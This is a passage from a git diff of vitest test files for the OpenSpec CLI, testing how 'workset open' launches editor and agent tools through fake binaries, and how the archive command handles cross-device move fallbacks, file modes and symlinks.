tempDir, env } + ); + const fakeCodex = createFakeTool(tempDir, 'codex'); + + const result = await runCLI(['workset', 'open', 'solo'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeCodex]), + }); + + expect(result.exitCode).toBe(0); + expect(readLaunchLog(fakeCodex.logPath).args).toEqual([ + '--sandbox', + 'workspace-write', + '--add-dir', + memberA, + ]); + }); + + it('propagates the launched tool exit code with no error banner', async () => { + await createPlatform(['--tool', 'claude']); + const fakeClaude = createFakeTool(tempDir, 'claude', { exitCode: 7 }); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + + expect(result.exitCode).toBe(7); + expect(result.stderr).not.toContain('Error:'); + }); + + it('skips a missing member and falls through to the next primary', async () => { + await createPlatform(['--tool', 'claude']); + const fakeClaude = createFakeTool(tempDir, 'claude'); + cleanupTempPath(memberB); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + + expect(result.exitCode).toBe(0); + expect(result.stderr).toContain( + `Skipped 'web-app' (${memberB} is not available).` + ); + expect(readLaunchLog(fakeClaude.logPath).args).toEqual([ + '--add-dir', + memberA, + '--add-dir', + memberC, + ]); + const generated = getWorksetCodeWorkspacePath('platform', pathOptions()); + expect(JSON.parse(fs.readFileSync(generated, 'utf-8')).folders).toEqual([ + { name: 'team-context', path: memberA }, + { name: 'api', path: memberC }, + ]); + + // Primary missing: the next surviving member becomes cwd, and + // the reassignment is noted in the skip-line style. + cleanupTempPath(memberA); + const second = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + expect(second.exitCode).toBe(0); + expect(second.stderr).toContain( + `Using 'api' (${memberC}) as the primary for this open.` + ); + expect(fs.realpathSync.native(readLaunchLog(fakeClaude.logPath).cwd)).toBe( + memberC + ); + + // No member survives: a typed failure. + cleanupTempPath(memberC); + const third = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + expect(third.exitCode).toBe(1); + expect(third.stderr).toContain('workset'); + expect(third.stderr).toContain('No member folder'); + }); + + it('overrides the saved tool per open without rewriting the file', async () => { + await createPlatform(['--tool', 'claude']); + const fakeCode = createFakeTool(tempDir, 'code'); + const before = fs.readFileSync(getWorksetsFilePath(pathOptions()), 'utf-8'); + + const result = await runCLI( + ['workset', 'open', 'platform', '--tool', 'code'], + { cwd: tempDir, env: envWithFakeTools(env, [fakeCode]) } + ); + + expect(result.exitCode).toBe(0); + expect(readLaunchLog(fakeCode.logPath).args).toEqual([ + getWorksetCodeWorkspacePath('platform', pathOptions()), + ]); + expect(fs.readFileSync(getWorksetsFilePath(pathOptions()), 'utf-8')).toBe( + before + ); + }); + + it('requires a tool non-interactively when none is saved', async () => { + await createPlatform(); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain("Workset 'platform' has no saved tool."); + expect(result.stderr).toContain( + 'openspec workset open platform --tool <id>' + ); + }); + + it('never strands: unavailable and unknown tools carry the manual fallback', async () => { + await createPlatform(['--tool', 'cursor']); + const fakeCode = createFakeTool(tempDir, 'code'); + + const unavailable = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeCode]), + }); + + expect(unavailable.exitCode).toBe(1); + expect(unavailable.stderr).toContain( + "Error: Cursor ('cursor') is not on PATH." + ); + expect(unavailable.stderr).toContain( + 'Fix: Install \'cursor\' or run: openspec workset open platform --tool code' + ); + expect(unavailable.stderr).toContain('Open manually:'); + const generated = getWorksetCodeWorkspacePath('platform', pathOptions()); + expect(unavailable.stderr).toContain(`Workspace file: ${generated}`); + expect(unavailable.stderr).toContain(memberA); + // The named file exists with current content. + expect(JSON.parse(fs.readFileSync(generated, 'utf-8')).folders).toHaveLength(3); + + const unknown = await runCLI( + ['workset', 'open', 'platform', '--tool', 'emacs'], + { cwd: tempDir, env } + ); + expect(unknown.exitCode).toBe(1); + expect(unknown.stderr).toContain("Unknown tool 'emacs'"); + expect(unknown.stderr).toContain('Open manually:'); + }); + + it('reports an unknown workset name', async () => { + const result = await runCLI(['workset', 'open', 'ghost'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain("Workset 'ghost' is not saved"); + }); + + it('rejects --json with exactly one JSON document', async () => { + await createPlatform(['--tool', 'claude']); + + const result = await runCLI(['workset', 'open', 'platform', '--json'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(1); + const payload = parseJson(result); + expect(payload.status[0].code).toBe('workset_open_json_unsupported'); + expect(payload.status[0].fix).toBe( + 'Inspect worksets with: openspec workset list --json' + ); + }); + }); + + describe('opener config', () => { + it('adds a new workspace-file tool from config', async () => { + writeOpenersConfig({ zed: { style: 'workspace-file' } }); + await createPlatform(['--tool', 'zed']); + const fakeZed = createFakeTool(tempDir, 'zed'); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeZed]), + }); + + expect(result.exitCode).toBe(0); + expect(readLaunchLog(fakeZed.logPath).args).toEqual([ + getWorksetCodeWorkspacePath('platform', pathOptions()), + ]); + }); + + it('renaming an attach flag is a one-line local fix', async () => { + writeOpenersConfig({ claude: { attach_flag: '--dir' } }); + await createPlatform(['--tool', 'claude']); + const fakeClaude = createFakeTool(tempDir, 'claude'); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + + expect(result.exitCode).toBe(0); + expect(readLaunchLog(fakeClaude.logPath).args).toEqual([ + '--dir', + memberA, + '--dir', + memberB, + '--dir', + memberC, + ]); + }); + + it('rejects an invalid style naming the two valid ones', async () => { + writeOpenersConfig({ vim: { style: 'tabs' } }); + + // The table is read only where it is consulted: a tool-less + // scripted create must not fail on an unrelated config row... + const toolLess = await createPlatform(); + expect(toolLess.exitCode).toBe(0); + + // ...while naming a tool reads it and fails typed. + const withTool = await runCLI( + ['workset', 'create', 'tooled', '--member', memberA, '--tool', 'claude', '--json'], + { cwd: tempDir, env } + ); + expect(withTool.exitCode).toBe(1); + const payload = parseJson(withTool); + expect(payload.status[0].code).toBe('invalid_opener_config'); + expect(payload.status[0].fix).toContain("'workspace-file' or 'attach-dirs'"); + }); + }); + + describe('state file hygiene', () => { + it('a corrupt worksets file fails clearly from any command, never rewritten', async () => { + const filePath = getWorksetsFilePath(pathOptions()); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync(filePath, '{broken'); + + for (const args of [ + ['workset', 'list', '--json'], + ['workset', 'create', 'x', '--member', memberA, '--json'], + ['workset', 'remove', 'x', '--yes', '--json'], + ]) { + const result = await runCLI(args, { cwd: tempDir, env }); + expect(result.exitCode).toBe(1); + const status = parseJson(result).status[0]; + expect(status.code).toBe('invalid_workset_file'); + expect(status.fix).toBe(`Repair or remove ${filePath}.`); + } + + // open is human-only; it fails the same way on its stderr leg. + const open = await runCLI(['workset', 'open', 'x'], { + cwd: tempDir, + env, + }); + expect(open.exitCode).toBe(1); + expect(open.stderr).toContain('Invalid worksets file'); + + expect(fs.readFileSync(filePath, 'utf-8')).toBe('{broken'); + }); + + it('unknown subcommands keep the one-JSON-document contract', async () => { + const json = await runCLI(['workset', 'bogus', '--json'], { + cwd: tempDir, + env, + }); + expect(json.exitCode).toBe(1); + const payload = parseJson(json); + expect(payload.status[0].code).toBe('unknown_workset_subcommand'); + expect(payload.status[0].message).toContain("Unknown command 'bogus'"); + + const human = await runCLI(['workset', 'bogus'], { cwd: tempDir, env }); + expect(human.exitCode).toBe(1); + expect(human.stderr).toContain("Unknown command 'bogus'"); + expect(human.stderr).toContain('create, list (ls), open, remove'); + }); + + it('a bare group invocation keeps the contract too (--json and human)', async () => { + const json = await runCLI(['workset', '--json'], { cwd: tempDir, env }); + expect(json.exitCode).toBe(1); + const payload = parseJson(json); + expect(payload.status[0].code).toBe('unknown_workset_subcommand'); + expect(payload.status[0].message).toContain('Missing subcommand'); + + const human = await runCLI(['workset'], { cwd: tempDir, env }); + expect(human.exitCode).toBe(1); + expect(human.stderr).toContain('Missing subcommand'); + }); + + it('a launch failure carries a pasteable alternative and the manual route', async () => { + await createPlatform(['--tool', 'claude']); + // A fake claude that PASSES the PATH scan but fails to spawn. + // The shebang must point at a missing interpreter: that fails + // ENOENT -> spawn 'error' event on every POSIX libc, whereas a + // shebang-less text file dies ENOEXEC, which glibc's execvp + // silently retries via /bin/sh - the child then *runs* and exits + // 127 instead of erroring. The garbage .exe is the win32 analog + // (passes the PATHEXT scan, fails CreateProcess as a bad image). + const binDir = path.join(tempDir, 'fake-broken-bin'); + fs.mkdirSync(binDir, { recursive: true }); + const broken = path.join(binDir, 'claude'); + fs.writeFileSync( + broken, + `#!${path.join(binDir, 'no-such-interpreter')}\n` + ); + fs.chmodSync(broken, 0o755); + fs.writeFileSync(path.join(binDir, 'claude.exe'), 'not a real image\n'); + const fakeCode = createFakeTool(tempDir, 'code'); + const launchEnv = envWithFakeTools(env, [fakeCode]); + launchEnv.PATH = `${binDir}${path.delimiter}${launchEnv.PATH}`; + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: launchEnv, + }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('Could not launch Claude Code'); + expect(result.stderr).toContain( + 'Fix: Run: openspec workset open platform --tool code' + ); + expect(result.stderr).toContain('Open manually:'); + }); + }); +}); + +describe('launchOpenerCommand (in-process launch mechanics)', () => { + class FakeChild extends EventEmitter {} + + function fakeSpawn(behavior: (child: FakeChild) => void) { + return ((..._args: unknown[]) => { + const child = new FakeChild(); + queueMicrotask(() => behavior(child)); + return child; + }) as any; + } + + const command = { + executable: 'claude', + args: ['--add-dir', '/abs/a'], + cwd: '/abs/a', + label: 'Claude Code', + style: 'attach-dirs' as const, + }; + + it('resolves with the child exit facts', async () => { + const result = await launchOpenerCommand(command, { + spawnFn: fakeSpawn((child) => child.emit('close', 7, null)), + }); + + expect(result).toEqual({ code: 7, signal: null }); + expect(exitCodeForLaunch(result)).toBe(7); + }); + + it('maps a SIGINT death to 130 (128+n), not an error', async () => { + const result = await launchOpenerCommand(command, { + spawnFn: fakeSpawn((child) => child.emit('close', null, 'SIGINT')), + }); + + expect(exitCodeForLaunch(result)).toBe(130); + }); + + it('maps SIGTERM to 143 and a clean exit to 0', () => { + expect(exitCodeForLaunch({ code: null, signal: 'SIGTERM' })).toBe(143); + expect(exitCodeForLaunch({ code: 0, signal: null })).toBe(0); + }); + + it('rejects spawn failures as workset_launch_failed', async () => { + await expect( + launchOpenerCommand(command, { + spawnFn: fakeSpawn((child) => + child.emit('error', new Error('spawn claude ENOENT')) + ), + }) + ).rejects.toMatchObject({ + diagnostic: { + code: 'workset_launch_failed', + target: 'workset.tool', + }, + message: 'Could not launch Claude Code: spawn claude ENOENT', + }); + }); +}); + +describe('interactive compose cancellation (in-process)', () => { + let tempDir: string; + let restoreTTY: (() => void) | undefined; + let originalEnv: NodeJS.ProcessEnv; + let errorSpy: ReturnType<typeof vi.spyOn>; + let logSpy: ReturnType<typeof vi.spyOn>; + let originalExitCode: number | string | undefined; + + beforeEach(() => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-workset-tty-')) + ); + originalEnv = { ...process.env }; + process.env.XDG_DATA_HOME = path.join(tempDir, 'data'); + process.env.XDG_CONFIG_HOME = path.join(tempDir, 'config'); + delete process.env.CI; + delete process.env.OPEN_SPEC_INTERACTIVE; + process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS = '1'; + // Deterministic tool availability for the wizard's [3/3] step: + // exactly one fake claude on PATH, regardless of the host machine. + const fakeClaude = createFakeTool(tempDir, 'claude'); + process.env.PATH = `${fakeClaude.binDir}${path.delimiter}${path.dirname(process.execPath)}`; + + const descriptor = Object.getOwnPropertyDescriptor(process.stdin, 'isTTY'); + Object.defineProperty(process.stdin, 'isTTY', { + value: true, + configurable: true, + }); + restoreTTY = () => { + if (descriptor) { + Object.defineProperty(process.stdin, 'isTTY', descriptor); + } else { + delete (process.stdin as { isTTY?: boolean }).isTTY; + } + }; + + errorSpy = vi.spyOn(console, 'error').mockImplementation(() => undefined); + logSpy = vi.spyOn(console, 'log').mockImplementation(() => undefined); + originalExitCode = process.exitCode; + process.exitCode = undefined; + }); + + afterEach(() => { + vi.doUnmock('@inquirer/prompts'); + vi.resetModules(); + errorSpy.mockRestore(); + logSpy.mockRestore(); + restoreTTY?.(); + process.env = originalEnv; + process.exitCode = originalExitCode; + cleanupTempPath(tempDir); + }); + + function exitPromptError(): Error { + const error = new Error('User force closed the prompt with SIGINT'); + error.name = 'ExitPromptError'; + return error; + } + + async function runCreate(promptsModule: Record<string, unknown>): Promise<void> { + vi.doMock('@inquirer/prompts', () => promptsModule); + const { registerWorksetCommand } = await import( + '../../src/commands/workset.js' + ); + const { Command } = await import('commander'); + const program = new Command(); + program.exitOverride(); + registerWorksetCommand(program); + await program.parseAsync(['workset', 'create'], { from: 'user' }); + } + + it.each(['name', 'member'])( + 'Ctrl-C at the %s prompt prints Cancelled. and exits 130 with nothing saved', + async (boundary) => { + await runCreate({ + input: vi.fn(async (config: { message: string }) => { + if (boundary === 'name' || config.message.includes('name')) { + throw exitPromptError(); + } + throw exitPromptError(); + }), + select: vi.fn(async () => { + throw exitPromptError(); + }), + confirm: vi.fn(async () => { + throw exitPromptError(); + }), + }); + + expect(process.exitCode).toBe(130); + expect(errorSpy).toHaveBeenCalledWith('Cancelled.'); + expect( + fs.existsSync( + path.join(process.env.XDG_DATA_HOME!, 'openspec', 'worksets', 'worksets.yaml') + ) + ).toBe(false); + } + ); + + it('Ctrl-C at the tool select cancels with nothing saved', async () => { + const memberDir = path.join(tempDir, 'repo'); + fs.mkdirSync(memberDir); + let inputCalls = 0; + + await runCreate({ + input: vi.fn(async () => { + inputCalls += 1; + if (inputCalls === 1) return 'platform'; + return memberDir; + }), + select: vi.fn(async (config: { message: string }) => { + if (config.message.includes('Add another')) return 'finish'; + throw exitPromptError(); + }), + confirm: vi.fn(async () => true), + }); + + expect(process.exitCode).toBe(130); + expect(errorSpy).toHaveBeenCalledWith('Cancelled.'); + expect( + fs.existsSync( + path.join(process.env.XDG_DATA_HOME!, 'openspec', 'worksets', 'worksets.yaml') + ) + ).toBe(false); + }); + + it('the guided flow saves; declining open-now prints the reopen line', async () => { + const memberDir = path.join(tempDir, 'repo'); + fs.mkdirSync(memberDir); + let inputCalls = 0; + + await runCreate({ + input: vi.fn(async () => { + inputCalls += 1; + return inputCalls === 1 ? 'platform' : memberDir; + }), + select: vi.fn(async (config: { message: string }) => { + if (config.message.includes('Add another')) return 'finish'; + return 'claude'; + }), + confirm: vi.fn(async () => false), + }); + + expect(process.exitCode === undefined || process.exitCode === 0).toBe( + true + ); + const yamlPath = path.join( + process.env.XDG_DATA_HOME!, + 'openspec', + 'worksets', + 'worksets.yaml' + ); + expect(fs.readFileSync(yamlPath, 'utf-8')).toContain('platform'); + expect(fs.readFileSync(yamlPath, 'utf-8')).toContain('tool: claude'); + expect(logSpy).toHaveBeenCalledWith( + 'Open it any time with: openspec workset open platform' + ); + }); + + it('Ctrl-C at the post-save open-now offer is NOT a cancelled create', async () => { + const memberDir = path.join(tempDir, 'repo'); + fs.mkdirSync(memberDir); + let inputCalls = 0; + + await runCreate({ + input: vi.fn(async () => { + inputCalls += 1; + return inputCalls === 1 ? 'platform' : memberDir; + }), + select: vi.fn(async (config: { message: string }) => { + if (config.message.includes('Add another')) return 'finish'; + return 'claude'; + }), + confirm: vi.fn(async () => { + throw exitPromptError(); + }), + }); + + // The workset is durably saved; declining-by-Ctrl-C is success. + expect(process.exitCode === undefined || process.exitCode === 0).toBe( + true + ); + expect(errorSpy).not.toHaveBeenCalledWith('Cancelled.'); + expect(logSpy).toHaveBeenCalledWith( + 'Open it any time with: openspec workset open platform' + ); + expect( + fs.existsSync( + path.join( + process.env.XDG_DATA_HOME!, + 'openspec', + 'worksets', + 'worksets.yaml' + ) + ) + ).toBe(true); + }); + + it('a declined remove confirm is the typed workset_remove_cancelled', async () => { + const memberDir = path.join(tempDir, 'repo'); + fs.mkdirSync(memberDir); + + vi.doMock('@inquirer/prompts', () => ({ + input: vi.fn(), + select: vi.fn(), + confirm: vi.fn(async () => false), + })); + const { registerWorksetCommand } = await import( + '../../src/commands/workset.js' + ); + const { Command } = await import('commander'); + + // Save one non-interactively first (no prompts involved). + const setup = new Command(); + setup.exitOverride(); + registerWorksetCommand(setup); + process.env.OPEN_SPEC_INTERACTIVE = '0'; + await setup.parseAsync( + ['workset', 'create', 'platform', '--member', memberDir], + { from: 'user' } + ); + delete process.env.OPEN_SPEC_INTERACTIVE; + process.exitCode = undefined; + + const program = new Command(); + program.exitOverride(); + registerWorksetCommand(program); + await program.parseAsync(['workset', 'remove', 'platform'], { + from: 'user', + }); + + expect(process.exitCode).toBe(1); + expect(errorSpy).toHaveBeenCalledWith('Error: Workset remove cancelled.'); + expect( + fs.existsSync( + path.join(process.env.XDG_DATA_HOME!, 'openspec', 'worksets', 'worksets.yaml') + ) + ).toBe(true); + }); +}); diff --git a/test/core/archive.test.ts b/test/core/archive.test.ts index 1d0f75e14b..c32e017e14 100644 --- a/test/core/archive.test.ts +++ b/test/core/archive.test.ts @@ -1,6 +1,11 @@ -import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; -import { ArchiveCommand } from '../../src/core/archive.js'; +import { describe, it, expect, beforeEach, afterEach, onTestFinished, vi } from 'vitest'; +import { ArchiveCommand, isRetirableSpec } from '../../src/core/archive.js'; +import { retireSpec } from '../../src/core/specs-apply.js'; import { Validator } from '../../src/core/validation/validator.js'; +import { MarkdownParser } from '../../src/core/parsers/markdown-parser.js'; +import { findMainSpecStructureIssues } from '../../src/core/parsers/spec-structure.js'; +import { VALIDATION_MESSAGES } from '../../src/core/validation/constants.js'; +import { formatLocalDate } from '../../src/utils/date.js'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; @@ -15,34 +20,71 @@ describe('ArchiveCommand', () => { let tempDir: string; let archiveCommand: ArchiveCommand; const originalConsoleLog = console.log; + const originalExitCode = process.exitCode; + const originalXdgDataHome = process.env.XDG_DATA_HOME; + const originalTimeZone = process.env.TZ; + + function archiveClaimPath(_archiveName: string): string { + return path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + '.openspec-archive.lock' + ); + } beforeEach(async () => { // Create temp directory - tempDir = path.join(os.tmpdir(), `openspec-archive-test-${Date.now()}`); - await fs.mkdir(tempDir, { recursive: true }); - + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-archive-test-')); + // Change to temp directory process.chdir(tempDir); - + + // Isolate root resolution from any real store registry on the + // host machine so no-root behavior stays the implicit-root path. + process.env.XDG_DATA_HOME = path.join(tempDir, 'xdg-data'); + // Create OpenSpec structure const openspecDir = path.join(tempDir, 'openspec'); await fs.mkdir(path.join(openspecDir, 'changes'), { recursive: true }); await fs.mkdir(path.join(openspecDir, 'specs'), { recursive: true }); await fs.mkdir(path.join(openspecDir, 'changes', 'archive'), { recursive: true }); - + // Suppress console.log during tests console.log = vi.fn(); - + + // Isolate process.exitCode so a failing run can't leak into the next + // test or skew the vitest process exit status. + process.exitCode = undefined; + archiveCommand = new ArchiveCommand(); }); afterEach(async () => { + vi.useRealTimers(); + // Restore console.log console.log = originalConsoleLog; - + + // Restore process.exitCode (clear anything a test set) + process.exitCode = originalExitCode; + + if (originalXdgDataHome === undefined) { + delete process.env.XDG_DATA_HOME; + } else { + process.env.XDG_DATA_HOME = originalXdgDataHome; + } + + if (originalTimeZone === undefined) { + delete process.env.TZ; + } else { + process.env.TZ = originalTimeZone; + } + // Clear mocks vi.clearAllMocks(); - + // Clean up temp directory try { await fs.rm(tempDir, { recursive: true, force: true }); @@ -76,6 +118,493 @@ describe('ArchiveCommand', () => { await expect(fs.access(changeDir)).rejects.toThrow(); }); + it('retains the complete copied archive when fallback source cleanup partially fails', async () => { + const changeName = 'fallback-cleanup-failure'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Complete\n'); + await fs.writeFile(path.join(changeDir, 'notes.md'), 'keep this\n'); + + const realRename = fs.rename.bind(fs); + const realRm = fs.rm.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}changes${path.sep}${changeName}`) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + vi.spyOn(fs, 'rm').mockImplementation(async (candidate, options) => { + if ( + String(candidate).includes(`${path.sep}changes${path.sep}.openspec-move-`) + ) { + throw Object.assign(new Error('source cleanup failed'), { code: 'EACCES' }); + } + return realRm(candidate, options); + }); + + await expect( + archiveCommand.execute(changeName, { yes: true, skipSpecs: true }) + ).rejects.toThrow(/complete destination was retained for recovery/); + + const archived = path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ); + await expect(fs.readFile(path.join(archived, 'tasks.md'), 'utf-8')).resolves.toContain( + 'Complete' + ); + await expect(fs.readFile(path.join(archived, 'notes.md'), 'utf-8')).resolves.toBe( + 'keep this\n' + ); + }); + + it('does not discard an artifact changed during the fallback copy', async () => { + const changeName = 'fallback-artifact-race'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const tasksPath = path.join(changeDir, 'tasks.md'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(tasksPath, '- [x] Original task\n'); + + const realRename = fs.rename.bind(fs); + const realCopyFile = fs.copyFile.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}changes${path.sep}${changeName}`) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + let edited = false; + vi.spyOn(fs, 'copyFile').mockImplementation(async (source, destination, mode) => { + await realCopyFile(source, destination, mode); + if ( + !edited && + String(source).includes(`${path.sep}.openspec-move-`) && + String(source).endsWith(`${path.sep}tasks.md`) + ) { + edited = true; + await fs.appendFile(source, '- [x] Concurrent task\n'); + } + }); + + await expect( + archiveCommand.execute(changeName, { yes: true, skipSpecs: true }) + ).rejects.toThrow(/changed during the fallback copy/); + + expect(edited).toBe(true); + await expect(fs.readFile(tasksPath, 'utf-8')).resolves.toContain('Concurrent task'); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect( + fs.access( + path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ) + ) + ).rejects.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'does not discard an artifact permission change during the fallback copy', + async () => { + const changeName = 'fallback-mode-race'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const toolPath = path.join(changeDir, 'tool.sh'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(toolPath, '#!/bin/sh\n'); + await fs.chmod(toolPath, 0o644); + + const realRename = fs.rename.bind(fs); + const realCopyFile = fs.copyFile.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}changes${path.sep}${changeName}`) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + let changed = false; + vi.spyOn(fs, 'copyFile').mockImplementation(async (source, destination, mode) => { + await realCopyFile(source, destination, mode); + if ( + !changed && + String(source).includes(`${path.sep}.openspec-move-`) && + String(source).endsWith(`${path.sep}tool.sh`) + ) { + changed = true; + await fs.chmod(source, 0o755); + } + }); + + await expect( + archiveCommand.execute(changeName, { yes: true, skipSpecs: true }) + ).rejects.toThrow(/changed during the fallback copy/); + + expect(changed).toBe(true); + expect((await fs.stat(toolPath)).mode & 0o777).toBe(0o755); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'preserves directory and file modes in an unchanged fallback copy', + async () => { + const changeName = 'fallback-preserves-modes'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const privateDir = path.join(changeDir, 'private'); + const toolPath = path.join(privateDir, 'tool.sh'); + await fs.mkdir(privateDir, { recursive: true }); + await fs.writeFile(toolPath, '#!/bin/sh\n'); + await fs.chmod(toolPath, 0o755); + await fs.chmod(privateDir, 0o700); + + const realRename = fs.rename.bind(fs); + const realCopyFile = fs.copyFile.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith(`${path.sep}changes${path.sep}${changeName}`) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + let modeDuringCopy: number | undefined; + vi.spyOn(fs, 'copyFile').mockImplementation(async (source, destination, mode) => { + if (String(source).endsWith(`${path.sep}private${path.sep}tool.sh`)) { + modeDuringCopy = (await fs.stat(path.dirname(String(destination)))).mode & 0o777; + } + return realCopyFile(source, destination, mode); + }); + + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true }); + + const archivedPrivate = path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}`, + 'private' + ); + expect(modeDuringCopy).toBe(0o700); + expect((await fs.stat(archivedPrivate)).mode & 0o777).toBe(0o700); + expect((await fs.stat(path.join(archivedPrivate, 'tool.sh'))).mode & 0o777).toBe( + 0o755 + ); + } + ); + + it.skipIf(process.platform === 'win32')( + 'uses a short staging name for a long change during fallback', + async () => { + const prefix = `${formatLocalDate()}-`; + const changeName = prefix + 'x'.repeat(220 - Buffer.byteLength(prefix)); + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Complete\n'); + + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + String(source).endsWith( + `${path.sep}openspec${path.sep}changes${path.sep}${changeName}` + ) && + String(destination).includes(`${path.sep}changes${path.sep}archive${path.sep}`) + ) { + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + } + return realRename(source, destination); + }); + + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true }); + + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', 'archive', changeName)) + ).resolves.not.toThrow(); + } + ); + it('preserves symlinks during the cross-device archive fallback', async () => { + if (process.platform === 'win32') return; + + const changeName = 'linked-notes'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const outsideFile = path.join(tempDir, 'private-notes.md'); + const linkedFile = path.join(changeDir, 'notes.md'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile(outsideFile, 'do not copy me'); + await fs.symlink(outsideFile, linkedFile); + + const rename = vi.spyOn(fs, 'rename').mockRejectedValueOnce( + Object.assign(new Error('cross-device move'), { code: 'EXDEV' }) + ); + try { + await archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }); + } finally { + rename.mockRestore(); + } + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const [archiveName] = await fs.readdir(archiveDir); + const archivedLink = path.join(archiveDir, archiveName, 'notes.md'); + expect((await fs.lstat(archivedLink)).isSymbolicLink()).toBe(true); + expect(await fs.readlink(archivedLink)).toBe(outsideFile); + }); + + it('preserves a linked directory during the cross-device archive fallback', async () => { + const changeName = 'linked-directory'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const sharedDir = path.join(tempDir, 'shared-notes'); + const linkedDir = path.join(changeDir, 'notes'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.mkdir(sharedDir); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile(path.join(sharedDir, 'readme.md'), 'shared'); + await fs.symlink( + sharedDir, + linkedDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + const rename = vi.spyOn(fs, 'rename').mockRejectedValueOnce( + Object.assign(new Error('cross-device move'), { code: 'EXDEV' }) + ); + try { + await archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }); + } finally { + rename.mockRestore(); + } + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const [archiveName] = await fs.readdir(archiveDir); + const archivedLink = path.join(archiveDir, archiveName, 'notes'); + expect((await fs.lstat(archivedLink)).isSymbolicLink()).toBe(true); + await expect(fs.readFile(path.join(archivedLink, 'readme.md'), 'utf8')).resolves.toBe( + 'shared' + ); + }); + + it('rejects a linked change before the cross-device archive fallback', async () => { + if (process.platform === 'win32') return; + + const changeName = 'linked-change'; + const realChangeDir = path.join(tempDir, 'shared-change'); + const linkedChangeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(realChangeDir); + await 